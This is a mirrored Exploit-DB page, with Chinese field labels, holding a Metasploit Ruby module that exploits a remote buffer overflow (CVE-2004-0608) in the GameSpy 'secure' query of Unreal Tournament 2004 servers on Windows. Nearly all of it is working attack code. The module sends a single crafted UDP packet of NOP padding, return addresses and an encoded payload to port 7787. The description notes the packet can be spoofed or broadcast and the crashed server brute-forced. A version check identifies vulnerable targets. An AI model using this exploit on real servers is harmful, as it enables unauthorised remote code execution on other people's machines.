Unreal Tournament 2004 (Windows) – ‘secure’ Remote Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16693/
  • ##
    # $Id: ut2004_secure.rb 10394 2010-09-20 08:06:27Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GoodRanking
    
    	include Msf::Exploit::Remote::Udp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Unreal Tournament 2004 "secure" Overflow (Win32)',
    			'Description'=> %q{
    
    			This is an exploit for the GameSpy secure query in
    			the Unreal Engine.
    
    			This exploit only requires one UDP packet, which can
    			be both spoofed and sent to a broadcast address.
    			Usually, the GameSpy query server listens on port 7787,
    			but you can manually specify the port as well.
    
    			The RunServer.sh script will automatically restart the
    			server upon a crash, giving us the ability to
    			bruteforce the service and exploit it multiple
    			times.
    
    			},
    			'Author' => [ 'stinko' ],
    			'License'=> BSD_LICENSE,
    			'Version'=> '$Revision: 10394 $',
    			'References' =>
    				[
    					[ 'CVE', '2004-0608'],
    					[ 'OSVDB', '7217'],
    					[ 'BID', '10570'],
    
    				],
    			'Privileged' => true,
    			'Payload'=>
    				{
    					'Space'=> 512,
    					'BadChars' => "\x5c\x00",
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					['UT2004 Build 3186', { 'Rets' => [ 0x10184be3, 0x7ffdf0e4 ] }], # jmp esp
    				],
    			'DisclosureDate' => 'Jun 18 2004',
    			'DefaultTarget' => 0))
    
    		register_options(
    			[
    				Opt::RPORT(7787)
    			], self.class)
    
    	end
    
    	def exploit
    		connect_udp
    
    		buf = make_nops(1024)
    		buf[0, 60] = [target['Rets'][0]].pack('V') * 15
    		buf[54, 4] = [target['Rets'][1]].pack('V')
    		buf[0,8] = "\\secure\\"
    		buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded
    
    		udp_sock.put(buf)
    
    		handler
    		disconnect_udp
    	end
    
    	def ut_version
    		connect_udp
    		udp_sock.put("\\basic\\")
    		res = udp_sock.recvfrom(8192)
    		disconnect_udp
    
    		if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
    			return m[1]
    		end
    
    		return
    	end
    
    	def check
    		vers = ut_version
    
    		if (not vers)
    			print_status("Could not detect Unreal Tournament Server")
    			return
    		end
    
    		print_status("Detected Unreal Tournament Server Version: #{vers}")
    		if (vers =~ /^(3120|3186|3204)$/)
    			print_status("This system appears to be exploitable")
    			return Exploit::CheckCode::Appears
    		end
    
    
    		if (vers =~ /^(2...)$/)
    			print_status("This system appears to be running UT2003")
    			return Exploit::CheckCode::Detected
    		end
    
    		print_status("This system appears to be patched")
    		return Exploit::CheckCode::Safe
    	end
    
    end